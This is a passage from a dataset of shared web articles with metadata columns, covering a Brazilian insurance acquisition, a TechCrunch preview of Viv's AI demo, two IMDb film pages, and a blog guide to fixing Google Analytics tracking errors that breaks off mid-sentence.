1462462581,CONTENT SHARED,1024145536490998555,2542290381109225938,-7154088644091135023,,,,HTML,http://revistaapolice.com.br/2016/05/porto-seguro-compra-carteira-de-seguros-auto-da-chubb/,Porto Seguro compra carteira de seguros Auto da Chubb,"A Porto Seguro assinou acordo de compra da carteira de seguros de automóveis da Chubb do Brasil Companhia de Seguros. O objetivo da empresa é incrementar a sua carteira de seguros de veículos de alto valor, lançado no ano passado com foco neste segmento e que possui serviços e benefícios exclusivos para esse perfil de cliente. ""A aquisição da carteira de seguros de automóveis da Chubb é uma oportunidade que fortalecerá a nossa prestação de serviço no segmento de seguros de veículos de alto valor"", afirma Fabio Luchetti, presidente da Porto Seguro. As duas empresas vão se empenhar, após obter as aprovações necessárias, em realizar uma transição suave e sem impactos aos atuais clientes e corretores na preservação das garantias das apólices, na continuidade do atendimento e na manutenção dos benefícios e serviços. Segundo Luiz Pomarole, diretor geral de Automóveis da Porto Seguro, ""nas apólices transferidas serão mantidos os benefícios que os clientes da Chubb já têm e eles também passarão a contar com os benefícios hoje oferecidos aos clientes do Porto Seguro Auto"". A transação ainda depende da aprovação prévia dos órgãos reguladores competentes (CADE e Susep). Até a conclusão definitiva desse processo, Porto Seguro e Chubb continuarão a atuar de forma totalmente independente entre si e nada mudará na relação existente atualmente entre a Chubb e seus clientes. L.S. Revista Apólice",pt
1462463552,CONTENT SHARED,-7891960098457323262,-1443636648652872475,4236721063116312900,,,,HTML,http://techcrunch.com/2016/04/07/dag-kittlaus-co-founder-of-siri-will-give-the-worlds-first-demo-of-a-next-gen-ai-called-viv-at-disrupt-ny/,"Dag Kittlaus, co-founder of Siri, will give the world's first demo of a next gen AI called Viv at Disrupt NY","While Siri now lives on the phones of hundreds of millions of Apple users, just a few people are responsible for helping get the now ubiquitous assistant off the ground. One of those people is Dag Kittlaus, co-founder and CEO of Siri and now co-founder and CEO of Viv , a new platform-based AI product . Dag is the CEO and co-founder of Viv, which he started with Siri vets Adam Cheyer and Chris Brigham. Previously, he was the Co-founder and CEO of Siri after spinning the technology out of Stanford Research Institute in 2007. After Apple acquired Siri in 2010 Dag became the Director of iPhone Apps at Apple running the Siri and speech recognition teams. Adam and Chris joined him there in various roles until they all left to found the next generation of AI. In the fall of 2012 Dag co-founded Viv, which aims to open artificial intelligence to the world and ""enable everyone to talk to everything"". We're excited to announce Dag will appear onstage at Disrupt NY 2016 to talk about the future of artificial intelligence and, in a world first, give us a demo that shows off the power of what they've built with Viv. While the startup has't officially launched, its goal is to become a platform for developers to add an intelligent, conversational interface to just about anything. When Dag left Apple, he wrote an article called ' Siri Is Only The Beginning ', and Viv is the result. It's poised to take advantage of what he calls a ' Cambrian explosion in AI , where the technology powers much of our underlying systems. Dag has a deep history in the mobile industry. Before Viv and Siri, he held executive roles at Telenor Mobile and Motorola, where he founded its Interactive Media Group. Now, he's on his second consecutive AI product, Viv. Viv takes up where Siri left off, providing a powerful conversational interface that can be used to accomplish just about anything. That extensibility comes from the application of major advances in program synthesis - allowing AI systems to automatically write their own code to accomplish new tasks. Where Siri was an application that was made a service, Dag and the Viv team want to manufacture an underlying infrastructure that allows AI to be poured into apps, systems and experiences. Viv is counting on this broad application of AI to be as ubiquitous as a search button, and they've created some very real apps that utilize the system. If you want to see them in action for the first time, and get a glimpse at the brain that runs Viv behind the scenes (and we don't mean Dag,) then we'll see you at Disrupt NY on May 9-11 in Red Hook, Brooklyn. You can buy tickets here . Dag joins a our growing list of speakers appearing at Disrupt NY that includes Kik's Ted Livingston, Starfish Media's Soledad O'Brien, and Amazon Echo VP Mike George. To take advantage of early bird pricing, buy your ticket soon. Sponsors make TechCrunch events possible. If you want to learn more about sponsorships with TechCrunch, shoot an email to sponsors@techcrunch.com.",en
1462468544,CONTENT SHARED,-1852234953549915446,8676130229735483748,8765865937415209841,,,,HTML,http://www.imdb.com/title/tt0191043/,The Color of Paradise (1999),"10 wins & 11 nominations. See more awards "" Storyline Mohammad, a boy at Tehran's institute for the blind, waits for his dad to pick him up for summer vacation. While waiting, he realizes a baby bird has fallen from its nest: he chases away a cat, finds the bird, climbs a tree, and puts it back. His father finally comes and takes him to their village where his sisters and granny await. The lad is a loving student of nature and longs for village life with his family, but his father is ashamed of him, wanting to farm the boy out to clear the way for marriage to a woman who knows nothing of this son. Over granny's objections, dad apprentices Mohammad far from home to a blind carpenter. Can anything bring father and son together? Details Release Date: 7 September 2000 (Australia) Also Known As: The Color of God Box Office Opening Weekend: $28,144 (USA) (31 March 2000) Gross: $1,810,145 (USA) (6 October 2000) Company Credits Technical Specs See full technical specs "" Did You Know? Trivia Majidi's original title for this film is (translated) ""Color of God"". See more "" Quotes User Reviews Message Boards Recent Posts",en
1462468827,CONTENT SHARED,-8041742992841055506,8676130229735483748,8765865937415209841,,,,HTML,http://www.imdb.com/title/tt2316411/,Enemy (2013),"15 wins & 25 nominations. See more awards "" Storyline Adam Bell is a Toronto area History college professor. He is a rather somber man, largely because he is stuck in a routine, which includes a relationship with his live-in girlfriend, Mary. While watching a rental movie, he spots an actor in a bit part that looks like him. He becomes obsessed with finding out about this double of his. He learns that the actor's stage name is Daniel Saint Claire, whose legal name is Anthony Claire. Claire is a Toronto based actor with only a few on-screen credits, and is married to a woman named Helen who is currently several months pregnant. Adam then becomes obsessed with meeting Claire, who he learns upon first sighting that they look exactly the same, from the facial hair to a scar each has, but Claire who outwardly is more ""put together"" than Adam. Their lives become intertwined as Claire himself ends up becoming obsessed with Adam, but in a slightly different way. Written by Huggo Taglines: From the Director of Prisoners Details Release Date: 6 February 2014 (USA) Box Office Opening Weekend: $18,000 (USA) (14 March 2014) Gross: Company Credits Technical Specs See full technical specs "" Did You Know? Goofs First time Adam is viewing Anthony's profile on Volga Talent Agency website the line ""Voice demo available upon request"" is listed 4th, under ""eyes: blue."" The second time Adams visits the site this same line is now 5th and appears just above ""Valid Driver's License."" ""Voice:"" has also been underlined, followed by a colon, where previously it was not. Finally, a 12th line also appears, ""Experienced at Sailing and powerboating."" See more "" Quotes [first lines] : [leaving a message] Hello, darling, it's your mother. Thank you for showing me your new apartment. I'm worried about you. I mean, how can you live like that? Anyway, would you call me back? Let's get together again. I love you. See more "" Connections References Dogma (1999) See more "" Soundtracks Not So Much To Be Loved As To Love Performed by Jonathan Richman Written by Jonathan Richman Published by Rockin' Leprechaun Music Used by Permission. All Rights Reserved. Courtesy of Vapor Records/Sanctuary Records Group Inc., under license from Universal Music Canada See more "" User Reviews Message Boards Recent Posts",en
1462469069,CONTENT SHARED,3720742491238027703,-5639303336519418445,-7041444967606569796,,,,HTML,https://blog.kissmetrics.com/google-analytics-data-errors/,29 Common Google Analytics Data Errors And How To Fix Them,"With the Ecommerce Foundation quoting B2C eCommerce figures of $2.2bn worldwide for 2015, it seems that if a business is not focusing efforts online then it's falling way behind the current trend. Doing business online these days IS doing business, and the trusted means by which to measure our results is Google Analytics. ""If you can not measure it, you can not improve it"" - Sir William Thomson (First Baron Kelvin) Rolling out and implementing Google Analytics can be a tricky big process for most businesses and often specialist assistance is required to get things running correctly. However, even with the most skilled of talent, errors can occur in the data that can throw out results, often unknown to the analytics team. Customizing the Google Analytics code is a team effort and will require constant measurement and evaluation to get things humming. During the refinement process you are likely to find some of these errors occurring. Here's 29 of the most common errors, likely causes and ways you can correct them. I'm assuming you are using Universal Analytics analytics.js: Before we begin: Did You Know, there are two [Google Analytics] methods for gathering user data from your website? Use either Universal Analytics or Tag Manager , and be careful not to use both. Both are using the same JavaScript code to gather data, it's only that Tag Manager makes it easier to customize the code with additional tags. We are only going to touch on Tag Manager issues in this post. Tag Manager has a lot of elements that we could get into but would be too extensive for this post. Tag Manager Errors deserve a post all to themselves so maybe I'll hit that one for you guys next time. Campaign Errors Errors associated with setting up both your online and offline your campaigns. Error #1 - Custom Campaigns Not Being Tracked A Custom Campaign is a means of uncovering how referred traffic arrives to your site. Using this data you can understand more about the most effective ways to attract visitors to your content. By using the Google URL Builder Tool and the Mobile URL Builder Tool (for mobile applications) you can add ""Parameters"" (little extensions) to your campaign URLs that lets Analytics identify where your visitor came from. Example: You're running an advert campaign on Facebook. To track visitors specific to this campaign you would do the following: Go to the URL Builder Tool Add your unique URL Add ""source"" ""medium"" and ""name"" (These are required) Add additional parameters ""content"" and ""term"" if you wish to further identify the campaign. Hit ""Submit"" you'll then receive your custom campaign URL to use in your Facebook Advert. There are several reasons why a custom campaign would not be tracked correctly, but most will be due to manually adding parameters incorrectly in one way or another. Here's a couple for you to digest. Solution A - You're a smart developer and you like to build code into your projects manually but this time you got it wrong. Not so smart right? Keep it simple and your manager off your back; use the URL Builder Tool . Solution B - You've copied/pasted the modified URL incorrectly. Solution- Run your URL through the builder tool again and check against your advert. Solution C - You were in a hurry, or someone distracted you and you used the wrong URL in the builder tool so a different landing page has been used to build your custom URL. Solution - Go get the correct landing page URL for your advert and run it through the builder tool again. Check it against the modified URL you used for your advert. Solution D - Your Facebook Advert is seen by Analytics as a ""Referral"" source. Looks like you didn't add parameters to your campaign URL before building your advert. Go and run your URL through the builder tool. Error #2 - Offline Campaigns Not Being Tracked An offline campaign is a magazine or newspaper advert for example, and not tracking these bad boys is the hole in your analytics bucket. Offline can be very difficult to track completely but there are means to do so with some structured thinking. Example: You're running a TV or magazine campaign for a digital product sale. It's likely to bring lots of new visitors to your site. This Dell magazine campaign is an example. You and your team didn't consider how to track traffic and now you've got a flood of additional visitors to your website creating a spike in traffic and you don't know exactly where they came from! Total bummer.... There's only really one reason why you got this big traffic spike and it's because you didn't add a discount code or other means of recording the visitors to your website that were exposed to this campaign. Solution A - Add a discount code or vanity url that is exclusive to that particular campaign which will bring visitors to a specific landing page on you site allowing you track traffic. Solution B - Better again, redirect the vanity URL that you'll use in your campaign to a ""Custom Campaign"" with campaign parameters mentioned above, that you can create with the URL Builder Tool. Also, make these vanity URLs permanent redirects! Error #3 - Cross Domain Tracking Errors Errors resulting from poor implementation of Google Analytics spanning multiple domains or subdomains can spell disaster for your data results. Where your sales funnel covers several domains you need to carefully consider how you are going to track your visitors activity. The process is known as ""Cross Domain Tracking"" and it can help you to see visitor activity on related websites correctly. Haven't upgraded to Universal Analytics yet? here's an article than can help you with Cross Domain Tracking with ga.js Example: You have a blog located on ""blog.yoursite.com"" and on the blog you have posts that lead your visitors through your sales funnel on ""yoursite.com"" . Your sales funnel also takes your visitor away from your site to a third party shopping cart. If your Cross Domain Tracking has not been carried out correctly across all domains involved, then your Analytics Reports will have holes. You will likely see ""Self Referrals"" which trigger new sessions where there aren't new sessions. You can see how this can result in all sorts of errors in your data. Solution A - One way to handle cross domain tracking using Universal Analytics is to utilize the autoLink Plugin . Very simply put, the autoLink Plugin allows GA to see links that include a domain/s you specify. Any clicks on links that contain that domain/s are included as cross domain traffic. Check out how to install the necessary parameters to your source code on Google Developers . Solution B - Google Tag Manager may prove easier for you to roll out Cross Domain Tracking. It provides two ways for you to implement Cross Domain Tracking. / From Submit Tags allow Analytics to know when a link is clicked or a form is submitted respectively. Auto Link Domains utilizes cookie values and is the easier option for setting up Cross Domain Tracking in Tag Manager, however, it is less flexible than the Link Click / Form Submit approach. Check out the step by step process for correctly adding Cross Domain Tracking in Tag Manager instructions . Code Errors Error #4 - Errors From Locally Hosted analytics.js Code Locally hosting the analytics.js code is in 99.9% of cases unnecessary, and more hassle than it's worth in my opinion. Clever developers like to experiment, and some consider it a good idea to locally host the Google Analytics code on their own server for faster delivery, speeding up website rendering in a browser window. Google doesn't recommend it and either do I. Example: You have your own dedicated server environment where your website is hosted and you wish to implement GA. Rather than relying on Google to deliver the analytics code from their servers, and incur the small delay in the process loading your website, you decide to host the analytics code on your own server to speed things up a tad. There are any number of reasons why this may fall down, and I just don't know why you'd want to do it in the first place. There's loads of ways to effectively speed up a slow site and for the sake of a few milli-seconds I wouldn't risk it. Not to mention having to set up additional instructions (Cron job) on your server so as to retrieve updates from Google when they are made. To make this work you will need to setup a Cron Job on your server. This is scheduled task, designed in this case to update the locally hosted analytics.js code whenever Google makes changes to the .js. Your Cron Job has not been set up properly and can not retrieve the updates to .js from Google. Unlike Google servers, your server is local i.e. close to where most of your traffic is likely to come from (you think). But if your site is targeted internationally then users on the other side of the world won't benefit from your few milli seconds load improvement. They might even suffer increased delays. Older browsers may have older versions of the analytics cached and not deliver analytics the correct data Solution - Don't locally host the Google Analytics code. Ohh for the love of God! why bother making all this work for yourself. Just use Google to deliver the script! But if you want to here's an article from Bjorn Johansen on how to do it. (Please comment below and let me know if there is one good reason why you should locally host the analytics code that is without risk of error, because I just don't got one for ya!) Error #5 - Results From Other Property Showing In Data You've setup GA on a client's site and 24 hours later data is showing in reports, Happy days right? However, on closer inspection you see it's the wrong data. Not so happy days, it's a good job you caught it early. If you manage multiple accounts, or properties on the same GA account it's a possibility that you've copied the code snippet from the wrong ""Property"". Solution A - This one is very easy to sort out. Just log in to your account and go to Admin >> Account >> Property >> Tracking Info >> Tracking Code to view your code and check if it matches what you've installed on your site. Solution B - If you are using a WordPress Analytics plugin such as Analytics by Yoast, go to your WordPress Dashboard >> Analytics >> Settings >> General, and check your ID, re-authenticate, and save your settings. It doesn't really matter what means you are using to deploy your code snippet, if data is showing in reports for the wrong property you're gonna need to replace it with the right one. This could mean a lot of work for you if deployment was manual. Error #6 - Bounce Rate Extremely Low (Under 20%) A typical bounce rate for a given site depends on the site but it's not unusual to see something like 60% to 80%. So if your bounce rate is very low, or has suddenly dropped to single digits then your alarm bells should be going off. Example: A very low bounce rate appearing in your reports can happen for a number of reasons and can relate to multiple instances of the same Analytics code with the same property ID installed. Adding multiple instances of the Universal Analytics Tracking code (analytics.js) to a web page/s is generally not a problem, but you've got to modify the snippet for each property you are setting up to view the data. Solution A - Check that you haven't got two instances of the exact same code snippet for the exact same property installed on your site. This can happen in WordPress for example, due to an Analytics plugin with the same property ID added as the code snippet added in the theme settings. Remove either one or the other, or modify one of them to suit different users in your GA account. Solution B - Check that you've not installed Google Tag Manager along side a stand alone instance of the GA code. If you have Tag Manager running and you have the code snippet installed on your site also, then you'll get two triggers. Solution C - You may have a popup or chat window activating on the same page. These can send another trigger to Analytics. You'll need to set these and any other ""events"" as ""non-interaction events"". See more on Events and how to set them up here . Error #7 - Conflicts With Other Scripts Running On A Page It is fairly common that a website may have other JavaScript code running on a page/s. It is therefore very important that you ensure that existing code variables are not the same as that which Google uses. If it does, you'll have problems. See Advanced Analytics setup for Developers for info on this. Example: JavaScript conflicts can break either or both conflicting scripts running on a page. For example you may have Google Analytics installed and an application such as a third party event registration page loading on your site. The problem may not even be completely obvious to you. Cookies that are held in a visitor's browser may be rewritten by other applications rendering a false or unrecorded session or page view by Google Analytics. Solution - When the default GA Script is installed on your site you may not experience any issues, however issues may become apparent when you roll out customizations to the basic tracking code. Check the code installation on any page by installing the Analytics Debugger for Chrome . When Debugger is installed, go to the webpage you want to check hit cmd + alt + j (on a mac) or, ctrl + shift + j (on Windows or Linux) and you'll get a Java Console popup at the bottom of your screen which will show any errors on the page. If this is a bit beyond you, disable or remove the third party code and engage your friendly neighborhood developer! Tag Manager Errors As I noted in the introduction, there are many errors that can be registered by Tag Manager ( Tag Assistant ) so I'm only going to touch on a couple here that are common to setting up Tracking. If you've implemented Analytics on your site for the first time and you don't see any data after 24hrs (this can be less than 24 hours in many cases) then it's likely you've one of the following Tag Manager related issues present. Error #8 - Tag Manager Container Not Published In Tag Manager you can add an Account for all the websites you manage. Check out this setup guide for creating a new Account in Tag Manager. After creating the Account, you then need to create a Container. A Container in Google Tag Manager is where your code and associated tags will be held. After creating your new Container you need to add Tags for specific functionality. See this article on adding, editing and publishing Tags. Justin Cutroni is the Google, Google Analytics guy, here's what he says about publishing Tag Manager Container (amongst other things). Errors tend to be experienced where edits have been made to Tags in a Container and the new version has not been published. You must publish your Container with it's new Tags or edited Tags, before the edits will take effect. Error #9 - Tags Not Firing In Google Analytics, a Tag is a small piece of JavaScript code that sends specific user information to the Google Analytics servers from the digital environment where it resides. From the Tag Manager Interface, you get to add Tags to your code snippet as required without having to manually add the changes to your code. Check out this comprehensive help article on Tags for more information. There are a couple of possibilities why your Tags are not firing. Let's have a look at those and their possible solutions. Solution A - You added a new Tag and you didn't publish your edit. Every time you modify your Container, you need to publish it. Like when you add a new Tag or edit an existing one. Click the publish button on the top right hand corner and you'll get the following window. Solution B - You've assigned a URL rule to a Tag that's too specific. Your URL rule says fire for domain "" Your Tag will not fire for "" "" or "" "". Go back in and edit your Tag to allow the required domain variations fire your Tag. Don't forget to re-publish! Solution C - It may be that the Tag Manager Container (which contains the tracking code) was incorrectly added to your site. Tag Assistant for Chrome should be able to help you find the cause of the problem. However, if you see this, then it's not installed at all! Go check out Tag Manager Previewing & Debugging for further assistance. eCommerce Errors Did you know that the eCommerce Plugin should not be used along side the Enhanced eCommerce Plugin ? Well you do now. Error #10 - eCommerce Data Not Showing For A ""View"" The ""eCommerce"" function within Google Analytics is a specific segmentation that allows you to setup, view and analyze data specific to visitors purchases on your website or application. Use it to track what people bought, how much they bought, how long it took a customer to buy and other transaction information. Here's an introduction to eCommerce , and here's a good article on eCommerce, both from KISSmetrics blog. So long story short, you've firstly enabled eCommerce and then set up eCommerceTracking (for web) and an associated ""View"" to refine your data, but no data is showing. It may be that you have a snippet issue as mentioned above, but if your code snippet was working before you decided to activate eCommerce then it's likely that you've merely failed to enable it correctly. There is also the possibility, if you are looking after a significant number of sites and associated views, that you were looking at the wrong ""View"". Solution A - Go back and check that you have selected the correct ""View"" before clicking on the Reporting tab. Solution B - Surprisingly, this is perhaps the most common error made, but is the easiest to fix. Simply go into your account Analytics >> Property >> View >> eCommerce >> Toggle switch ""ON"". You can also enable advanced eCommerce features in this window. Find out more about Advanced eCommerce features here . Did you know you can reverse an eCommerce transaction in Google Analytics? Find out more about this process here. That brings us to the next error on the list... Error #11 - eCommerce Data Does Not Match 3rd Party Cart Data You have a website with products or services for sale. You have these products and services located on your own website and your shopping cart is done by third party. This complicates things for you just a tad when it comes to Analytics tracking. You need to ensure your ""Cross Domain Tracking"" is set up, as mentioned above, and that similar attributes of both services match. Example: You've a website set up for your bakery business. It's mainly an information site with a blog attached and there's no eCommerce element. You want to sell and deliver to local businesses and allow them order online - so you set up an eCommerce site with a third party provider. Someone clicks on a fancy cake on your main site and they are brought to your eCommerce site to order and pay. All good so far... You're making sales, but when you view your analytics data it does not correlate to your shopping cart data. There are a number of reasons why your shopping cart may have different data to that in your GA reports. Let's have a look at these: Solution A - Date & Time settings don't match. This is an easy error to fix but one that can screw your data if you've got it wrong. Make sure that both your main site and shopping cart have the same data and times set up. Watch out for time-zone also. Solution B - Remove non-alpha numeric characters in the data. Non-alpha numeric characters in the number fields (such as price field) can screw up your data! Solution C - You have a process that spans several domains and you have not setup Cross Domain Tracking correctly. See Error #3 above. Adwords & Analytics Linking Errors Error #12 - Adwords Clicks & Analytics Sessions Don't Match The error here is that you think they should match. They don't necessarily and here's why: When you combine Adwords and Analytics data, you can view the data side by side. Adwords records the amount of times your visitors click on your ads. Analytics records the amount of times visitors come to your website and what they do while they are there and when they leave. An Adwords click is a very basic action on behalf of your visitor and is recorded by Adwords servers. It's a simple metric. Analytics sessions are much more sophisticated and include several layers of data. Adwords Click = Click >> Metric Recorded Analytics Session = Pageviews, events, social triggers, multiple domains etc >> Metrics Recorded So you can see, with an Analytics session there are multiple touch points for the user and Analytics to record. With Adwords it's simple, it's only one click. Solution A- Put very simply; You must understand the difference between Adwords Clicks and Analytics Sessions. One of the key things to note is, Adwords Click/Analytics Session Ratio can be affected in a number of various ways. Sessions in Analytics may not be recorded due to server latency, redirects, users clearing their browser cache etc. Check out this article for more on discrepancies between Adwords and Analytics data. Here's another article that can assist you checking Clicks Vs Sessions data. Error #13 - eCommerce Data Duplicated in Reports This error is a total disaster for accuracy of reporting if not identified early. Imagine having a bunch of transactions duplicated in your Google Analytics reports every day for a month? Not good! And hey, guess what...you can't reverse it. So getting it right first time is a must. What generally happens behind duplication of transactions is that a customer refreshes a thank you page or receipt page and sends the same data to Google a second or multiple times. I understand that Google has the ability to filter out duplicate data in a single session, but if that data is resent a week later when a customer revisits the same page via a bookmark, that can create a problem. Solution A - Set up a report to catch duplicate transactions. Once you have enables eCommerce in your Property, you can head over to; Property >> View >> Customization >> New Custom Report and set up a report to catch duplications. You should do this at the very least. Solution B - You can't stop a visitor hitting the back button or revisiting a page in another session but you can seek to find these and filter them out. Jon Meck on a post over at Lunametrics recommends a couple of solutions and goes into great detail on how to avoid this scenario. Use of a transaction ID - Cookies can record all kinds of user data but can be deleted or updated and you lose 100% certainty. Use of a time stamp - A time stamp allows you to see when the page was sent to Google Analytics. Use server side code - I'm not a server dude so I'm not going to attempt detail, but as I understand it, you can filter duplications out via the back end of your site. See your local friendly developer for advice on this. Check out Jon Meck's post for further details on setting this up. Error #14 - You've Only One Property For All Domains In Your eCommerce Setup If you have multiple websites, subdomains, third party shopping cart etc you're gonna need to set up a property for each website... that's if you want to segment the data correctly. Setting up each site with it's own property under a single account allows you view data for that property (website) in isolation, and means you don't need to add a bunch of filters to an ""all websites combined"" data set to do so. If you've got one property for all sites then adding filters to the data in order to view individual sites may get messy for you. This is where mistakes are made, and remember- GA can't reverse filters retrospectively. Solution - Set up an account for your customer (or you). In that, set up a property for each website in the process from first engagement through to final purchase. Then, set up a property for the entire bunch of websites. This way you get to see traffic for each site separately and all sites together. Don't go for one property for all sites with filters! Here's a good article explaining the process. Error #15 - Adwords CPC Data Is Not Being Collected By Analytics A common issue that arises in Analytics reports is where Cost Per Click (CPC) metrics are not collected. This issue is related to Adwords/Analytics linked accounts and more specifically refers to a situation where redirects are set up in an Adwords process. When Adwords is linked to Analytics, it automatically adds tracking parameters like this one to your campaigns using auto-tagging . (Adwords >> Home >> Settings (Cog icon) >> Account Settings >> Preferences >> Auto Tagging >> Tracking (set to ""Yes""). Here's what the parameter extension looks like: ?gclid=1234-abcd Google says it's set automatically when you link accounts but mine was not, so go into your Adwords account as shown above and check it. Solution - Now if you've gone and set up redirects from your landing page to another webpage on another domain for example, then it's possible you'll lose that trigger. The tracking code on the advert landing page needs time to trigger in GA, so setting a delay before the redirect occurs is good practice and should solve your issue here. Here's an article that might assist you further. Error #16 - Analytics Sessions Coming From Inactive Adwords Campaigns There are a few situations where deleted or otherwise inactive Adwords campaign clicks may show up in Analytics reports. New Sessions in Analytics can continue to show for a given Adwords campaign whether the Adwords campaign is completed or not, throwing out your analysis of data and causing inaccuracy. Example: When Auto-Tagging is enabled in Adwords it adds a specific parameter to the destination URL (as explained above in Error #15). If a user who clicked on your advert then grabs the URL with the parameter and shares it with another person, the second person will trigger another session. Even if the advert is no longer running, it will show up in reports. Another Example: Visitors to your site who clear their browser cache regularly may show in Analytics as a new session. This happens when the user bookmarks your Adwords landing page and revisits the page later, after the campaign has finished. Solution - You can try Segmenting your data between New and Returning visitors, however it may not be totally successful. There are a few holes in the Adwords/Analytics linking bucket and it boil down to being unable to fully control what a visitor does with a link after visiting your site. If you guys have any better suggestion of how to handle this please comment below. Error #17 - Adwords Data Missing From Analytics Reports The most likely scenario here is that you don't have your Adwords destination URLs tagged and it's easily sorted. I'm stating the obvious now for many, however, if your Adwords landing pages and other destination URLs are not tagged either manually or automatically, then hey presto! no data in your reports. Solution A - Enabling auto-tagging in Adwords allows Analytics bring in Adwords data automatically. Having this functionality enabled allows you to see what your visitors do after they click on your adverts. To check if auto-tagging is enabled in your Adwords account go to: Adwords >> Home >> Settings (Cog icon) >> Account Settings >> Preferences >> Auto Tagging >> Tracking (set to ""Yes""). Solution B - Manual tagging is a real pain. It's so time consuming and has real chances of you entering the same parameters twice to different campaign URLs, or mis-typing a parameter, but there are circumstances when you may need to do it, such as if your server rejects URL parameters and returns 404 errors. Find out more about Manual Tagging here . Error #18 - Adwords Campaigns Returning 404 Errors 404 errors are not cool. If I arrive at a 404 page after clicking a link I'm generally very disappointed and a bit annoyed that the juicy piece of info I was about to land on is not there. It leaves a sour taste. When 404s show up in your Analytics Data it's just a downright nuisance to say the least. This can happen for a number of reasons including not pasting a link properly into an Adwords campaign, however, you should be aware that some server environments don't allow the URL extension parameters like Analytics uses to identify your user. In this case you'll get a 404. Solution - Check if your site can work with auto-tagging with Chrome Developer Tools. You'll find all the instructions you need to check if auto-tagging works on your site right here . If it does not, get in touch with your server host to enable it. Failing that set up manual tagging . I'm not a server guy, so if any of you have suggestion how to rectify server non-recognition of Analytics URL parameters please let me know in the comments. Filter Errors Error #19 - Filters In A Given ""View"" Not Working You've set up a new ""Property"" and the associated All Website Data ""View"" (automatically created for you when you create a new Property) in your Analytics Account and have decided on some filtering you want to apply to your data set. You go ahead and apply a Filter and wait patiently for your filtered data to show in reports. 24 hours later, nothing. 48 hours later, nothing still. Whatever the reason for the problem, your data for that View (from the time it was created) is not recoverable, and in fact, you've actually made a double boob. You didn't set up a ""Test View"" for applying new Filters You didn't verify your new Filter before applying it. Solution - This is a Belt-and-Braces approach to protecting your data from dodgy Filters. First, set up a ""Test View"" in your ""Property"". Test Views allow you see the effects of new Filters before you apply them to live working Views. Once you apply a Filter to a View, the data that is returned to that Property cannot be retrospectively adjusted. Once it's done it's done, so before you apply that new Filter see step #2. Verify your new Filter before applying to your ""Test View"". Filter Verification allows you to see the effects of your new Filter on Analytics Data before it's activated. Filter verification works by applying your filter to a cross section of your existing data, 7 days data as I understand it. This way, you can see if your new Filter works, but it's not a cast iron guarantee. That's why you need a ""Test View"". Filters also, take as much as 24 hours to take effect according to Google, so testing first lets you see immediately the effect. Here's how to Verify a Filter Go to: Google Analytics >> Admin >> Account >> Property >> View >> Filters >> Create a New Filter >> hit ""Verify This Filter"" Here's a good article that covers Filter Verification. At the time of this article Google does not provide support for previews for advanced filters and location-based filters (e.g. IP address, Country). tut tut.... Error #20 - Too Many Include/Exclude Filters When you set up a Property in Analytics, it is automatically assigned a View called All Website Data . Don't edit this view. Create a new View by going to; Account >> Property >> View >> Create New View. Once you set up your new View, you can add Filters . One of the key things to remember when setting up Filters is that Analytics will, or will not, return data according to the Filter you set. In other words if you set an Include-Filter, Analytics will return data according to that Filter. If you set up an Exclude-Filter, Analytics will not return data according to that filter. Comprendé? Here's what Google has to say about it . Too many Filters Too many Filters will banjo your reporting. I'll not get into the multitude of scenarios here, suffice to say that if you apply too many Filters to a View, then the View will be made redundant. The biggest problem with filtering data is you can not reverse it retrospectively. Solution - All Analytics data sent to a given Property will be visible in all ""unfiltered"" Views created. The correct procedure then, is to add more Views with a only a small number of Filters as required. This way your data is not over filtered to the point of it being useless. Example: You have a number of websites that span Worldwide. You set a Property up for your European site. You might then add a View to allow only traffic from Spain and associated Filters for ""Store location"", and another View to allow traffic from Germany and associated Filters for ""Store location"". Find out more about Filters here . Error #21 - The Order Of Filter Is Incorrect I'll say it right off the bat; Filter order counts. The order in which you set up your filters effects the final data output. The trouble with setting up too many sequential filters is that once the first Filter triggers, Analytics delivers only data that satisfies that Filter, so there's only a refined dataset to work with going forward. Example: You have an online business and you set up a Filter in a View data from ""Facebook"". Then you set up a second filter from ""Twitter"". The problem is that Analytics filters out everything except ""Facebook"" according to the first filter, so when the second Filter activates there's no ""Twitter"" data to filter through to. Comprendé? Solution - Set up a combined Filter to retrieve ""Facebook & Twitter"" then a second Filter to retrieve ""Facebook"" or ""Twitter"" only. Note: Did you know you could reorder the sequence that your Filters follow? Go to: Google Analytics >> Admin >> Account >> Property >> View >>Filters >> Assign Filter Order, to edit the Filter order sequence. Here's an article that may help you further with Filter order. Try verifying your filter before you apply to a view. Reporting Errors Error #22 - Raw Data Missing From Reports What I mean by Raw Data here is basically the data that is returned by Analytics in the default View ""All Website Data"", after you initially set up a new Property. This data View is your gold and should never be filtered or edited in any way. This data View is the fallback when you need to understand the relationship between a smaller filtered data set and your entire data set View. It is akin to taking a panoramic view of the landscape to gauge the accuracy of your direction, versus taking a more focused view of the ground under you feet. DO NOT ALTER ""All Website Data"" VIEW! Did I say that too loud?..... If you have happened to modify the ""All Website Data"" View and have no other ""All Website Data"" for the same website in another ""Property"" then you will not be able to modify the data already returned by analytics for that ""Property"". Analytics can not be applied retrospectively to data already filtered. Yes I'm afraid you've bummed out. Here's a resource that will help you better understand ""Views"" and how to set them up. Here's an article by the world famous Lars Lofgren on Raw Data Profiles in Analytics. Error #23 - Duplicates Of The Same Page In Analytics Reports A real thorn in the side of the data analyst is the appearance of duplicated data in reports. Once it appears there's no reversing it, so what you can do is prevent it from reoccurring. Example: A visitor to your website manually types in your website URL and includes uppercase characters instead of lowercase - easy to do right? They will in most cases be brought to the same page but Analytics will record the URI (URI is the extension on the end of your domain URL that differentiates pages on your website) as it appears in the users browser. So you get something like this in your reports: /fruitveg/fruit/Apples /fruitveg/fruit/apples /fruitveg/fruit/APPLES Each URI case variation, creates a new line in Analytics reports. Thankfully there is a way of getting around this. Solution - Create a ""Custom Filter"" that will force all URL to lowercase. Here's how you do it: Go to: Google Analytics >> Admin >> Account >> Property >> View >>Filters >> New Filter. Next select: Create Filter >> Filter Name ""Force Lowercase"" >> Filter Type ""Custom"" select ""Lowercase"" >> Filter Field ""Request URI"" >> Hit ""Save"" You will have the option to verify your Filter before you hit save and I would recommend you do this. Error #24 - Internal Traffic Showing In Reports If you are just getting started with Analytics then there is a good chance that you have not considered this common oversight. When it comes to analyzing traffic to your site, you don't want your organization's activity on the site included. Also to consider is any other third party such as web design company, or marketing consultant etc that is spending time on the organization's website. These guys and girls need to be filtered from the data gathered or you will have data that will be rendered pretty much useless in my opinion. Solution A - The first solution I'll offer is this Google Browser Add-on . I'd suggest that this may work fine for a small organization with a couple of people, but for larger businesses one of the other solutions will be more suitable. When you download and install the Add-on in your browser it instructs the Analytics JavaScript to stop information going to analytics servers. It works with ga.js, analytics.js and dc.js 